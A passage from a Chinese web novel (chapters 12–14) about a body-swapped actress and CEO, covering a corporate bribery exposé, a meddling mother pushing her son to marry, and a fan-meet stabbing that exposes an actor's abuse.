乔缨语气不急不躁,眼神却冷得能杀人,一支钢笔被她转得仿佛小李飞刀。 众人默默为秦述阳和盛衍捏了一把汗,后退几步,自动和他们拉开距离。 “我……我……” 秦述阳冷汗直流,懊恼地揉揉头发。 他之所以急匆匆地上交报告,甚至主动背锅,就是怕这更大的篓子被捅出来。 但裴总是何其聪明的人,仅仅和他对视一眼,秦述阳便发现自己肯定是露馅了。 落针可闻的空间里,两人一言不发,抖成了鹌鹑。 正在气氛焦灼之时,一直默默站在一旁的高马尾女性上前一步,走到乔缨面前,沉声说:“裴总,我要举报。” 12、第十二章 众人闻言,纷纷睁大了眼睛望向说话的那人。 灼热的目光下,王承书攥紧拳头,语气坚定:“被骂打小报告也好,得罪人被孤立也好,但我实在看不过去了。” 她上前几步,挑着重点简短陈述。 “叶诗月是盛衍塞进来的人,而盛衍当初进公司给hr——也就是他现在的上级贿赂了不少钱,顶替了另一个女生的名额,两人关系一直很好,所以叶诗月的背调审核才这么顺利。” “他这些年一直在往项目组里塞人,还净塞些不专业的人来拖后腿,秦述阳对此都是睁一只眼闭一只眼。只不过之前的人干了一段时间后,都觉得不能胜任岗位,主动离职了。” 她瞥了一眼叶诗月,嫌弃之意溢于言表:“没想到这次来了个脸皮厚的。” 盛衍一听,也不装死了,瞬间跳脚怒吼道:“王承书,你不要血口喷人!你有什么证据?有本事拿出来啊!” 秦述阳也皱眉,一副受了委屈的老实人模样,苦口婆心地劝说:“是啊小王,我知道这些年职位晋升我一直压你一头,但、但你也不能造谣吧?” 王承书表情不变,一个眼神都没给他俩。 她依旧不卑不亢地说道:“我愿意为我今天的话负责。被盛衍顶掉替岗位的女生是我学妹,是盛衍亲口和她说的这件事,我这里有备份的录音和视频。” “哈,你要真有证据,怎么当时不举报?” 盛衍嚎了一嗓子,眼球不断震颤,唾沫星子飞了一地。 此时此刻,他是真的很心虚,两条腿怕得直发抖。 被他顶替的那个女生是他同班同学。 当初贿赂hr的时候,他听信了秦述阳的鬼话,说是要留个心眼当心被对方反咬,所以塞钱的时候偷偷留存了证据。 哪成想,毕业聚会那天他喝醉了酒。 看着平日里高高在上的学霸一脸沮丧地和人抱怨她被昭星刷掉了,盛衍那点优越感登时上了头,炫耀似的把证据甩了出来。 后来他还担惊受怕了好一阵,直到秦述阳给他看了几封被驳回的举报信,拍着胸脯保证好大哥会给他兜底,这才肆无忌惮了起来。 而听到他狡辩的话后,王承书忍不住翻了个白眼,无奈摊手:“我举报了,但谁让秦述阳是我主管,每次都被拦了下来。你们蛇鼠一窝,还要来问我为什么,可要点脸吧。” 她是做技术的,本来就因为能力出众被不如她的秦述阳嫉妒。 加上性格又直来直往,做事不爱顺着这帮臭男人的心意来,这些年明里暗里被穿了不少小鞋。 乔缨听得直皱眉。 难怪这份敷衍了事的调查报告能被送到她手里,要不是她认识叶诗月,或许也就被糊弄过去了。 考虑到王承书或许会担心这次又是不了了之,乔缨先是向她再三保证会彻查到底,然后对陆嘉泽下达了指示。 “让行政部发个通告,叶诗月的事情全权交给公安机关调查,其他涉及以权谋私的人员全部照停职处理,一经查明,移送检察机关审查起诉。” 一听到她要报警,叶诗月嘴一瘪,又要开始嚎哭,可还没等她酝酿好情绪,窗外便响起了警笛声。 她脸色灰白地匍匐在地上,怎么也没想到会发展成现在这个局面。 作为后援会大粉,前段时间阮绵绵一直在和她抱怨没有商务合约的事情,似乎为此很是烦恼。 而盛衍是她远房表哥,一次在酒桌上喝醉了酒,大着舌头说自己研发的新产品正在找代言人。 叶诗月当即便起了心思,和阮绵绵一合计,便想出来这个偷样品自宣的损招,央求盛衍让她进组。 俗话说得好,做戏就要做全套。 叶诗月听从阮绵绵的指示,找到机会偷出样品后,挂在二手网上卖了出去,没想到这下反而成了她倒卖产品的证据。 叶诗月茫然地盯着地面,监察部门的人匆匆赶来,将她架起。 两脚离地后,智商忽然又重新占领了高地,她此时才后知后觉地发现,阮绵绵这么做完全是在撇清关系啊! 毕竟真要露馅了,简历造假的是她,倒买倒卖的是她,进局子的还是她。 甚至在阮绵绵的诱导下,相关证据包括两人联系的手机已经被销毁,警方查起来,她阮绵绵也就只是个无辜的买家罢了。 被利用了。 叶诗月不可置信地瞪大眼睛,嘴里不断咒骂着阮绵绵。 可任凭她再怎么喊冤叫屈,也没有人理会她了。 闹剧结束,乱哄哄的人群逐渐散去,有人突然犹犹豫豫地问:“可这期间项目组怎么办?谁来负责呢?” 一时间没有人吱声,几个资历浅的都恨不得把头埋进地里。 虽然现场的人都知道是怎么回事,但公司里的流言蜚语传来传去就会变味,难保不会殃及自己。 这种情况下,谁敢接过这个烫手山芋,就等着被“打小报告、背刺同事、踩人上位”的口水淹死吧。 看着众人为难的样子,毫无管理经验的乔缨也没有头绪。 想要找一个既能服众,又不会被蛐蛐的人,对于不熟悉昭星人员架构的乔缨来说,无异于让她徒手造航母。 要不…… 她自己来? 至少遇到不懂的还能找裴砚知场外求助。 “暂时……由我当。” 乔缨沉吟片刻,决定硬着头皮上。 听到这话,量闻的人瞬间神色一震,压力倍增。 大老板亲自监工,这是什么职场鬼故事。 “行了,都回去工作吧,” 没发现众人的异样,乔缨随意地挥挥手,道:“别吃瓜了,留着吃午饭吧。” 解决完问题,她直接坐电梯去了顶层。 总裁办公室和想象中的一样奢华,除了标配的接待室和办公区域外,还有一个小厨房,以及一间堪比她家客厅的大卧室。 推开门,浴室、衣帽间和八百平米的大床一应俱全,甚至还有个露天阳台和私人影院。 在里面目瞪口呆逛了一圈后,乔缨不发一言地踱步到落地窗前,驻足沉思。 她站在城市天际线本线上,望着楼下的车水马龙,内心产生了一阵孤独与落寞。 怪不得我每天都在负重前行,原来就是裴砚知在替我岁月静好。 说出来有些好笑,她在娱乐圈摸爬滚打这么多年,赚的钱大半上贡给乔家,少半捐给了福利院。 而她去年才瞒着乔家人咬咬牙买了套二手大平层,从此跻身为朝阳群众。 好处是以后要是和乔家断绝关系,能把户口迁出来。 坏处是兜比脸干净,虽然说出来像在卖惨,但她这点积蓄在明星里确实不够看。 幸好清醒过来了,以后这大孝女谁爱当谁当吧。 反正藏在老宅里的出资证明她都带了出来,再找个厉害的律师,这些年她贴给乔家的钱多多少少还能追回来一点。 她惆怅地叹口气,坐到办公椅上给裴砚知简单说明了一下今天的情况,顺带问了几个她比较在意的问题。 等了几分钟,裴砚知依旧没有回复,乔缨只能先自己找找相关资料。 量闻的策划案放在桌面上,一张代言人意向名单夹在第一页,上面列着几个十分眼熟的名字。 做表的人很仔细,在每个名字后都写了相应的备注,还附带着相关的数据。 裴砚知似乎在考虑要选谁,纸张上沾染了一点墨迹,看得出拿笔之人的犹豫不决。 目光陡然间捕捉到自己的名字,乔缨拿起笔,在上面重重画了几个圈。 原来如此。 她还真以为是裴砚知善心大发给她塞了这个资源,没想到自己本来就在候选人名单里。 眼光不错,活该昭星赚大钱。 赵予珞和徐言洲一进门,就发现老板正盯着一张纸,眼里噙着高深莫测的笑,看起来心情很好的样子。 真是活见鬼了。 两人默默无言对视了一眼,徐言洲大着胆子凑上前一看,意外道:“你真要选她啊?” “嗯。” 乔缨抬头看到来人,笑容在脸上僵了僵,缓缓收起了唇角,欲盖弥彰咳了一声。 根据之前交流的信息,这两人都是裴砚知多年的好友兼创业伙伴。 赵予珞主管技术,而徐言洲负责市场,对裴砚知的熟悉程度可不止一星半点。 “虽然乔缨最近热度挺高,但好像都是黑料吧?” 一同进来的赵予珞看到被圈起来的名字后,也感到颇为惊讶。 共事了这么多年,对于代言人最终选了乔缨这件事,两人虽然相信裴砚知的判断力,但也有些不解。 以昭星产品的含金量,其实根本就不需要割粉圈韭菜,选代言人不过是锦上添花。 比起乔缨,那份名单上不乏有更稳妥的选择,虽然没有新意,但至少不会出错。 吃瓜吃到自己身上的乔缨,对上两人探究的眼神,只能意味深长地笑笑:“说不定都是假的呢?” “假的为什么不澄清?” 向来对娱乐圈没什么好印象的赵予珞不是很相信。 这群鼻孔朝天的208有这么能忍? “这时候澄清没有用。” 对此,深谙营销之道的徐言洲倒是很能理解。 粉圈那点东西都是资本玩剩下的,当然有共通性。 他毫不客气地一屁股歪在沙发上,慢悠悠向赵予珞解释:“所谓造谣一张嘴,辟谣跑断腿,这时候再怎么澄清,都洗不掉这颗污点,甚至会越描越黑,还不如借力打力,把水搅混。” 赵予珞听得兴起,好奇问道:“那什么时候辟谣有用?总不能平白受人污蔑吧?” 乔缨下意识接话:“及时公关固然重要,但重头戏得放在对家塌房的时候。” 既能澄清谣言,又能卖惨博同情,还能给对方倒油,一箭三雕。 说得有道理。 但考虑到说这话的人是裴砚知这朵高岭之花,就让人觉得有一丝丝恐怖了。 赵予珞神色古怪地看她一眼,“你怎么这么熟练,豆瓣有号啊?” 乔缨手一抖,眼里立即蒙上一层恰到好处的迷茫,快速否认:“我不是,我没有,什么是豆瓣?” 项目出了岔子,两人本来就是过来和裴砚知打个招呼,见他没事后便也告辞。 关上门后,赵予珞和徐言洲对视一眼,异口同声地开口: “你觉得……” “我觉得……” 毕竟有着多年的交情,凭借默契,他们都从彼此的眼神里读懂了想说的话: 裴砚知不对劲。 十分里有十分的不对劲。 他说起乔缨时那股子偏袒又急切的语气,就差把“护短”俩字纹脸上了。 徐言洲语气严肃:“到时候他俩演追妻火葬场,你可别抢我台词啊,我要说「第一次见你对女人这么上心,你这次是真的栽了」。” “神经。” 赵予珞白他一眼,无情嘲笑道:“你这种人设,一般都会被拉来和女主闺蜜配平好吧?” 这边厢,乔缨翻出文件刚看了几页财报,有个人影便风风火火地闯了进来。 那人身后跟着一脸苦大仇深的陆嘉泽,正无奈喊道:“夫人,裴总正在办公,您不能进去!” 贺晓转身瞪他一眼:“我看我自己的儿子,为什么不能进去?” 乔缨躲在屏幕后,忍不住缩了缩脖子。 在与裴砚知短暂的交流中,她得知这位贺晓女士也是个神人。 作为一名彪悍且优秀的东北女性,贺晓早年间上过学堂下过乡,进过工厂插过秧。 不仅蝉联了多年的劳动模范,而且性子刚烈,一点就着,是十里八乡出了名的泼辣美人。 后来贺晓想趁着改开的春风南下经商,却阴差阳错留在了京市,认识了正在读大学的裴淮生,轰轰烈烈地开始追求起了爱情,愣是把冰山帅哥追到手了。 两人相恋后决定留在京市安家,于是贺晓重操旧业捣鼓起了机械设备,而裴淮生凭借着专业知识完善制度。 夫妻俩建起了小工厂,把日子过得风风火火,更是赚到了第一桶金,为之后的发家致富打下了基础。 而要论贺晓女士为何如此执着于催促裴砚知恋爱,究其原因,竟是因为在多年前偶遇了一位高人。 那高人意味深长地捋了把胡子,断言道:裴砚知要是在二十六岁前没有遇到正缘,就会斩断嚣嚣红尘出家,下半生与青灯古佛常相伴。 作为一名坚定的唯物主义者,贺晓对此自然是一笑而过,并不当回事。 然而这么些年过去,眼见着离二十六岁越来越近,裴砚知却一点少男春心萌动的迹象都没有,她开始慌了。 可以理解。 再理智的人,遇到自己孩子有可能守活寡这档子事,都有可能崩溃。 听裴砚知讲述这桩奇事时,乔缨还笑话他这下真成清冷佛子了。 但是问题就在于——— 现在这个裴砚知可不是裴砚知啊! 我凭什么受啊我! 在乔家搓磨了十几年,乔缨本就不擅长且疲于应对家人之间的关系。 再让她花费时间和精力去跟女孩们谈恋爱,这成什么样子啦? 男跨女搞拉拉吗? 这lgbtqiapkdxuc也是国际化起来了呢。 可惜她只想当一辆武装直升机。 沃尔玛购物袋也行。 好棘手。 刚才面对集团的贪污腐败都没这么棘手。 就在贺晓女士转身用眼神锁定她的瞬间,乔缨看着裴砚知仍旧没有回复的聊天界面,无能狂怒地狠戳他的头像。 半秒后,敌军已到达战场,贺晓肩上的玫红色披巾飘飘渺渺拂过眼前。 乔缨抿着唇,破罐子破摔地给他发送了两条新消息: 【磷脂分子:disco的ball转啊转。】 【磷脂分子:裴砚知,lets假装谈恋爱吧!】 13、第十三章 裴砚知,裴砚知,好缱绻的名字。 不回消息,你是不死外边儿了。 那别怪我给你造谣了啊,我可提前通知你了。 乔缨在心里默默画了个十字。 整理好心情后,她鼓足勇气,冷着一张脸抬首——— 但与气势汹汹的贺晓一对视,焰气霎时消下去一半。 乔缨酝酿了半天,才含糊不清地小声喊了一句:“妈。” 从被拐走那天开始,她就再也没叫过这个称呼。 好别扭的感觉。 “你还知道我是你妈呀。” 贺晓没发觉自己儿子的异样,大马金刀地坐到沙发上,喋喋不休:“让你带顾家的千金吃饭,你倒好,给人吃进医院了,招笑不招笑。” “那不是她刚从国外回来报复性进食嘛,我也没想到她能饿成这样啊。”乔缨低眉顺眼,老实巴交地答。 贺晓瞅瞅她泰然自若的样,优雅地翻了个白眼,长吁短叹:“行了,这次相亲又黄了,给你高兴坏了呗?” 说罢,她喝了一口茶顺顺气,又连珠炮似的再度发难:“我这辈子还能看见你处对象不?难道真要送你出家了啊?以后在地下见着你太姥姥不得被骂死。” “那不能够。” 乔缨嘴上应和着,其实也没怎么把那个什么大师的话放在心上。 众所周知,娱乐圈的人都爱搞迷信,开机仪式还得整个大猪头祭拜,连时尚杂志的主编都得提前找人做法算天气。 对此,乔缨只想说,学好概率论比什么大仙儿都有用。 贺晓仍在孜孜不倦地介绍下一位女嘉宾的信息。 乔缨揉揉酸胀的眼睛,大着胆子打断道:“那啥,妈,其实我有喜欢的人了。” 贺晓一滞。 基于此人的累累前科,她并不怎么相信这话,以为儿子又在编谎话骗她取消相亲。 俗话说得好,屎壳郎喷香水———不值一闻。 一听裴砚知又要开始扯犊子了,她顿时觉得有些烧心。 贺晓面无表情地往沙发上一靠,跟机器人一样,棒读感满满,语气敷衍地问:“哦?喜欢对方怎么还不去追求?就等着人家哪天眼瞎了撞你这棵歪脖子树上了呗?长着腿干啥使的。” 听她这噼里啪啦的一顿数落,乔缨算是懂了。 这一家子都挺会埋汰人。 时机正好,心里的那股子表演型人格又开始蠢蠢欲动。 酝酿片刻,乔缨垂下眼睫面露哀伤,语气不无遗憾地说:“不是,是她太优秀了,我怕自己配不上她。” 原本冷眼相对的贺晓仔细寻思着她这话,突然咂摸出来一丝丝的不对劲。 不对啊,听儿子这语气,这回好像是真有戏啊? 她一骨碌爬了起来,睨着眼和乔缨面对面站着,连忙催促道:“你别整这死出,大大方方的,赶紧给我看看人姑娘长啥样。” 事情发展到现在,乔缨也只能顺从地打开微博,从站姐主页里挑了一张图保存下来,放大后递给了贺晓。 两个人大眼瞪小眼了半晌,一时间都僵在了原地。 贺晓将信将疑地接过手机,别开脸,眼睛眯出一条缝,小心翼翼地向屏幕里瞥去。 此时此刻,乔缨很想揪住裴砚知的衣领问一问。 不是,哥们儿,你以前到底是有多孝顺啊? 看给咱妈都整出ptsd了。 而贺晓觑着眼睛一看。 那照片上不是什么长着三只眼睛的外星生物。 也不是什么脑壳上竖着两根触须的人形蟑螂。 更别提裴砚知之前还拍了几张意味不明的天空照,说要和这几朵云过一辈子。 这次确确实实是个货真价实的人类女孩。 贺晓顿时长舒一口气。 警报解除,难掩激动,她立即从怀里摸出老花眼镜戴上,开始仔细端详。 贺晓对着照片左看看,右瞅瞅,先是怔愣了一下,然后啧啧称赞道:“这孩子挺水灵啊,瞅这眼睛,这鼻子,这鹅蛋脸,哎呀吗,你确实是配不上人家嗷。” 是啊,水灵灵的我被一群怪物围在中央。 尤其是这张图还是从大合照里截下来的,一左一右分别站着沈颐和阮绵绵,事情就变得格外幽默了起来。 乔缨用总裁引以为傲的自制力控制着表情,很害怕自己一个不小心笑了出来。 不得不说,东北话真有种神奇的魔力。 短短几分钟的时间,她居然觉得自己一下子和贺晓的关系拉近了不少,心里那股对父母长辈的抵触情绪也在不知不觉间消散了些许。 “行吧,你赶紧的。” 贺晓脸色稍霁,眉梢舒展开来,悠悠道:“想当年我追你爸时,那叫一个锲而不舍百折不挠,到你这儿可别给我跌份儿,什么玫瑰百合小雏菊的,她喜欢啥就送她啥,整点浪漫的,别跟个木头桩子一样。” 乔缨听得出神,顺嘴说了一句:“我喜欢……咳,她喜欢藤本月季。” 原来儿子还没有到无可救药的地步,连人家喜欢啥都打听出来了。 贺晓心情大好,恍然一拍手:“对了,我看那中介小杨在朋友圈发的,什么御岭华庭的别墅挺不错的,你给她送一栋呗,咱第一次追女孩,可别跟网上那些个男的一样,抠抠搜搜的。” 太有实力了姐。 这种场面只在爽文和杀猪盘案例里见过。 倒霉了这么多年,这黄金做的馅儿饼也能砸到她恶毒女配的头上? 乔缨眼睛都瞪圆了,手上暗暗用力狠掐了一把大腿。 堪堪憋住笑意,她垂下眼眸,装出为难的样子,假意推脱道:“哎呀,这,这,八字还没一撇的事……不太好吧?” 连吃带拿的,她都有点不好意思了。 “财力也是魅力的一部分,这丫头一看就眼光高,追求者也指定少不了,你可上点心吧。” 心里的大石头终于落地,贺晓潇洒地挥了挥纱巾,离开前再三叮嘱:“我现在得去工厂一趟,你记住妈说的话啊,管好你那张破嘴,别给人姑娘吓跑了。” 乔缨脸上挂着笑,嘴角都有些僵硬了,点头称是,绷住表情和她告别。 好不容易送走了这尊大佛,她瘫倒在总裁专属座椅上,琢磨着该怎么合法合规把这栋别墅弄到手。 毕竟在乔家生活了这么多年,她深知这些有钱人有的是力气和手段。 到时候要是事情败露,裴家反告她一手敲诈勒索,她就只能喜提银手镯一对,退网变落网了。 啧,人与人之间这岌岌可危的信任感。 贪心不足蛇吞象的故事见多了,乔缨并不觉得自己和裴砚知的关系有好到予取予求的地步,更不觉得自己那点小伎俩能把他糊弄过去。 看来是时候找几个傍上金主的捞男同行们谈谈心,打听打听软饭硬吃的技巧了。 毕竟这种业务还是他们比较专业。 乔缨认命地叹气,坐直身体继续翻看昭星的资料。 按照以前读剧本的习惯,她照例打开手机上的音乐播放软件。 不出意料的是,裴砚知的账号里果然只有一个叫【工作用】的歌单列表。 嗯,符合他工作狂的人设。 乔缨以为歌单里是霸总装逼必备的高雅古典乐,或者是什么提升专注力的白噪音,便毫无防备地点了进去。 指尖触碰播放键,霎时间,一阵清心寡欲的空灵梵音在偌大的办公室里飘荡回响。 乔缨傻眼。 高雅,确实高雅,有点太高雅了。 不是,谁家好人上班听《大悲咒》啊? 总裁这份工作原来这么苦的吗? - 京市的另一侧。 见面会的后台化妆间里,裴砚知正听着乔缨歌单里的金属乐,任凭化妆师在自己脸上涂涂抹抹。 从医生那儿了解完乔盛合的情况后,因为icu暂时不能家属探视,裴砚知觉得无趣,便也不想再多待。 正好喻季年打来电话说下午有一场电视剧的粉丝见面会,直接把他从医院接到了现场。 等妆造完成后,裴砚知才得空拿起手机看了一眼,一打开就是乔缨那先斩后奏的馊主意。 他目光格外平静,注视着那两条消息,缓缓打出两行字: 【dioretsa:别放洋屁。】 【dioretsa:这里是中国。】 喻季年打量着他的脸色,以为他是看到了网上的消息,嗫嚅道:“那个……缨姐,待会儿记者的提问,可能会有人刁难你,注意管理好表情。” 裴砚知抬头,“什么?” 说起来,这部剧也算得上乔缨最近被大规模黑的原因之一。 她和新晋流量肖竹逸分别担任男女主演,从剧播开始男方团队就一直想炒cp,四处下水军假装路人嗑糖。 见乔缨半点不配合后,又大肆舞起了体面人设,明里暗里指责乔缨想要解绑独美,不敬业没道德。 经这一挑拨,cp粉果然怒了,纷纷化身男宝妈为自己的好大儿鸣不平,骂乔缨掀桌咖不顾观众死活。 而乔缨的粉丝也不甘示弱,嘲笑说凭什么要给你家丑男吸血,一时间撕得腥风血雨。 一见舆论导向是顺风局,肖竹逸也趁机放出了黑通稿。 说是男女主之所以感情线模糊,是因为乔缨耍大牌删了全部的亲热戏,所以最后连个手都没牵到。 有好事的人跑到乔缨微博评论区贴脸开大,问她是不是真的,为什么要删掉戏份。 乔缨只轻轻巧巧回了四个字:“我嫌恶心。” 这下可谓坐实了男女主演不和的传闻。 剧方一看事情越闹越大,便紧急加了这场主创见面会。 剧快播完,他们巴不得再添一把火炒炒热度,所以势必会在今天搞些上不得台面的小动作。 与此同时,喻季年也觉得乔缨被骂得非常冤枉。 倒也不是出于利益相关方的原因,其实那些所谓的感情戏份,本来就是肖竹逸为了炒cp私自加的,删掉并不影响主线剧情。 不如说多亏乔缨坚持己见,才让这剧本不至于被改得面目全非。 从观看体验上来说,反而是删除后的剧情更流畅,点到为止的留白和朦朦胧胧的暧昧感也是观众能嗑生嗑死的最大原因。 比起肖竹逸加的那些乱七八糟的油腻感情戏,高到不知道哪里去了。 而且肖竹逸这个人,演技稀烂不说,还是圈子里出了名的靠屁股上位,极度的精致利己,和他合作过的演员没有一个不被他扒层皮敲骨吸髓的。 乔缨这般眼睛里容不得沙子的大小姐,自然看不惯这种人。 本来肖竹逸就是抢了资源空降的男一号,要不然她根本就不会答应来这个剧组。 听完喻季年略显愤慨的陈述,裴砚知若有所思地看向镜子中的脸。 工作人员敲了敲化妆间,通知他上台。 裴砚知不适应地提了提裙摆,然后一脸淡定地推开门走了出去。 同样做完妆发的肖竹逸和他的经纪人李静正站在走廊,猝不及防和他打了个照面。 两拨人马狭路相逢,对面的肖竹逸先是阴阳怪气看了他一眼,嗤笑道:“哟,这不乔大明星嘛?怎么,贞洁烈女装不下去了?这会儿不去陪金主,倒想起来剧宣了?” 李静也从鼻子里哼了一声,不屑地翻翻白眼,帮腔说:“学着点吧,人家背景深,可不靠这些,肆无忌惮得很,咱老老实实打工的人可比不上人家。” 事实上,等这周播完大结局,肖竹逸接档的将是一部预热很久的双男主剧。 李静忍不住在心里一阵阵发笑,等她的肖竹逸靠卖腐美美飞升顶流后,看她乔缨还怎么继续嚣张。 裴砚知却懒得听这两人放屁。 他脚步不停,从他们身边高贵冷艳地掠过,捏着鼻子微微蹙眉,嘲讽道:“一只老鸨一只鸭,本事不多,谱儿还挺大。” 14-20 第14章 第十四章 十二月请对我好一点 救命, 还挺押韵。 喻季年眼观鼻鼻观心地跟了过去,看着面如菜色的两人,不禁为接下来的见面会捏了把汗。 走到台前, 观众席围满了粉丝和记者。 主持人照例笑着开口简短介绍了几句,按照流程让导演和主创一一发言。 裴砚知百无聊赖地听着, 自动拉开和肖竹逸的距离,站到一排的末尾。 他眼里那明晃晃的厌恶不加掩饰, 媒体都恨不得把相机怼到他脸上拍。 看着裴砚知后退几步的动作, 好像他是什么病毒一样,肖竹逸只能咬紧牙关,强压着怒气。 他勉强笑着开口:“大家好,我是在剧里饰演男一号的肖竹逸。” 现场顿时响起一阵粉丝的欢呼声。 他鞠了一躬,语气诚恳:“首先, 我想对这部剧的观众朋友们说句对不起, 虽然我想尽力给大家一个完美的追剧体验,但结果却不尽如人意……” 正当肖竹逸站在台上深情朗诵虐粉小作文时, 人群里忽然一阵骚动。 一个带着鸭舌帽和口罩的女粉丝捧着一束花冲上舞台,作势想要拥抱他, 把肖竹逸吓了一跳。 碍于宠粉狂魔的人设, 尽管心里万般嫌弃,肖竹逸仍旧摆出营业的笑脸。 他语气宠溺又无奈地说:“谢谢你的喜欢, 我知道最近这段时间小竹笋们辛苦了,但我相信, 只要我们一起努力, 未来……” 话说到一半,却渐渐没了声音。 现场的音乐也不知什么时候停了,取而代之的, 是一段清晰的录音: “你说你被肖竹逸家暴了五年,你有什么证据?你知不知道一旦发了这个微博,你可能会面对的是什么?” “你要是敢发,我一定会毁了你,把你的个人信息全网曝光,我说到做到。小妹妹,作为他经纪人,我李静能明明白白地告诉你,网络舆论不会站在你那一边。” “风头一过谁都不会记得这档子事,肖竹逸会继续演戏,继续他的风光人生,继续当他的大明星。” “而你,我敢保证,未来十年你只能当只阴沟里的臭老鼠。去找工作,别人说哦,就是你啊,不录取。你谈恋爱,别人家长也会说哦,原来是你啊,被人玩烂了的臭*子。” “言尽于此,你好好想想我今天说的话,免得撕破脸皮闹得太难看,对你对我们都不好。” 录音放完,全场寂静。 就连肖竹逸都呆站在原地。 他下意识地朝怀里的“粉丝”看去——— 只一眼,他便瞳孔急剧收缩,脸色骤变。 呼吸可闻的距离,那女人陡然拉下口罩,露出乌青的脸颊和肿胀的嘴唇。 “哥哥,我来找你了。” 她笑容疯魔,从花束底座里掏出来一把水果刀,直直往肖竹逸身上刺去,而惊慌失措的男人根本就来不及阻挡。 利刃划破血肉,那“噗呲噗呲”的微弱响声听得人直冒鸡皮疙瘩,令人胆寒。 现场乱作了一团。 最开始意识到不对劲的,还是离得最近的导演和主持人。 血液顺着肖竹逸的身躯一滴一滴砸向地面,白色衬衫染红一大片。 他不可置信地瞪大眼睛,因双腿脱力而颓然倒下,台上顿时响起一片此起彼伏的尖叫声。 女人挥舞着刀子,逼退想靠近的人,放声大笑:“来啊,鱼死网破啊!我知道我动不了你们这些人,李静,你不是说要毁了我吗?反正我烂命一条,我什么都不在乎了,那就一起下地狱吧!” 血液溅射到女人疯狂的脸上,她抹了一把温热的液体,手臂高高举起,笑容狰狞。 活动现场的直播没来得及掐断,于是守在直播间的网友都目睹了全程。 【这什么情况?是节目效果还是……?】 【我勒个去,现代版荆轲刺秦王啊?】 【天呐,这录音是真的吗?肖竹逸和他经纪人是什么法外狂徒?】 【这到底是明星团队,还是犯罪团伙啊?】 【楼上的别造谣,一个有精神病的女的随意攀咬也能算证据吗?】 【我一个法学博士二孩妈也坐不住了,你们这些造谣的是想进局子吗?】 【粉丝别闭眼洗了,她要真是精神病,你哥哥今天就白被捅了,人家可以不负法律责任的哈。】 【对啊,手心手背都是屎,粉丝选一坨吃吧。】 【你们还记得去年那个瓜吗?有个模特没穿衣服从酒店跳楼了,肖竹逸也在现场。】 【我靠,原来是他!当时锤得那么死,这人居然还能有戏拍?】 【资本手眼通天呗,粉丝再洗奖励你替受害者跳楼咯。】 现场,快门声不断,闪光灯仍在闪个不停。 精神濒临崩溃的女人已经被控制住,工作人员正满头大汗地维持着现场的秩序。 等待警察和救护车的间隙,不知是谁捡到了滚落在地的话筒,还十分缺德地cue了一句:“肖竹逸的经纪人就在后台,让我们大家一起把她喊出来好吗?” 众人一拍脑袋,面面相觑。 对啊,怎么忘了现场还有另一个主角呢。 躲在角落里的李静死死咬着嘴唇,仓皇低头,灰溜溜地想要逃走。 一转身却撞到了某人身上。 裴砚知拿出湿巾嫌恶地擦擦被她碰到的地方,隔着一层衣物把她死死拽住。 那力气大到根本挣脱不了,动作却十分隐蔽。 这个贱人。 就会使些阴招。 李静想到上次在片场,因为乔缨不配合宣传,自己气冲冲跑去找茬结果反被扇了几巴掌的事。 虽然在事后及时安排营销号放出了黑通稿,说乔缨在剧组仗势欺人掌掴工作人员,但这口气总归咽不下去。 她沉着皱皱巴巴的一张脸,嘴里不住咒骂:“那个女人是你叫来的吧?你满意了吗?现在变成这样都是你个贱人害的,丧门星,难怪你爹妈不要你!要是竹逸出事了,你也别想好过!” 没等她说完,左侧脸颊立即传来一阵火辣辣的痛感。 李静捂着脸,目眦欲裂,一张嘴刚想骂人,又被一道清脆的巴掌声打断。 这下对称了。 裴砚知释然地弯弯唇角,慢条斯理地收回了手。 被两巴掌扇懵的李静踉踉跄跄,跟个陀螺一样头晕眼花地转到了舞台中央。 头顶刺眼的灯光打在她苍白的脸上,她眼前一阵一阵发黑,从未觉得聚光灯能让人如此焦灼过。 有眼尖的人看到她了,故意不紧不慢地喊了一声:“哟,大经纪人这是想去哪儿啊?” 那群记者一听到李静出现了,立马跟闻到味道的苍蝇一样围了过来,举着话筒开始咄咄逼人地追问,生怕抢不到这条独家新闻。 “请问这位女士说的是事实吗?肖竹逸真的家暴了对方五年?” “录音里的话都是你说的吗?一个娱乐圈的五线艺人为何能只手遮天到这种地步?其中是否还牵扯到公司利益?” “有传闻说肖竹逸靠陪睡上位,男女不忌,你作为经纪人是否知晓?他背后的大佬究竟是谁?” “两个月前曾有网友爆料,在专科医院偶遇肖竹逸,他是否真如传闻所说的有冶游史?” “数日前你曾在节目《职说》里针对娱乐圈乱象作了演讲,点名批评肖竹逸的同组演员———某乔姓女星不敬业欺压剧组工作人员,这条消息是否属实?还是说纯属造谣?” “网络上接连曝出的有关乔缨的黑料,是否是因为她知道了些什么,你和肖竹逸的团队是否存在蓄意报复?” 李静被逼到角落,哑口无言。 她太阳穴狂跳,大脑一阵钻心的疼,顿感熙熙攘攘的舞台上,空气稀薄得有些缺氧。 几秒钟后,李静果断两眼一翻,当场晕了过去。 此时距离骚乱发生已经过去了十分钟,失血过多的肖竹逸和装晕的李静被抬上了救护车。 作为目击证人,裴砚知简单回答了几个问题后也被放行,换好衣服打道回府。 喻季年坐在保姆车里刷着手机,忽然慌慌张张地摇摇裴砚知的手臂,惊呼:“缨、缨姐,你上热搜了!” 裴砚知掀了掀眼皮,不懂她为什么这么激动。 他不明所以地接过手机,兴趣缺缺,垂眸看向那条营销号发的热门微博,然后点击播放。 乔缨的脸就这样猝不及防地出现在了屏幕里。 她一改往日的冷艳,眼神清澈而真挚,笑容宽和而温柔,一派岁月静好的模样,对着镜头无比虔诚地开口说道: “致那些曾经伤害过我的人:如果此时此刻你也在经历着一些不好的事情的话,请你相信我———” “那都是你活该。” 上面还斜斜打了一个#十二月请对我好一点#的标签。 看水印,视频还是从其他平台搬运过来的。 今天实在太过热闹。 由于因丑闻而上热搜的三个明星,三个都是乔缨的对家,看热闹不嫌事大的网友就翻出来她这条月初发的视频,纷纷留言感叹: 【赛博神婆,行业明灯,金牌乌鸦嘴。】 【我怀疑乔缨真有点玄学在身上,建议抓去研究。】 【乔缨的精神状态太超前了,我为之前跟风黑过她而道歉。】 【我要买股了,查了下乔缨的资料,这buff叠的不妥妥美强惨恶毒女配觉醒的剧情吗?】 【缨姐我绿晋江五心读者,你别怕,咱们这届网友都是好人!】 粉丝也扬眉吐气,开始自信地大放厥词: 【别惹我缨,她带系统的懂伐?】 【严肃澄清一下,老师我们家乔缨不是脑子有病,她只是爱玩抽象。】 【自己的成功固然使人高兴,但对家的失败更能让人欣慰。】 【你们有谁看到现场姐姐对肖人渣那个嫌弃的眼神了?别给他爽到了我说。】 与此同时,女人的定时微博也发了出来。 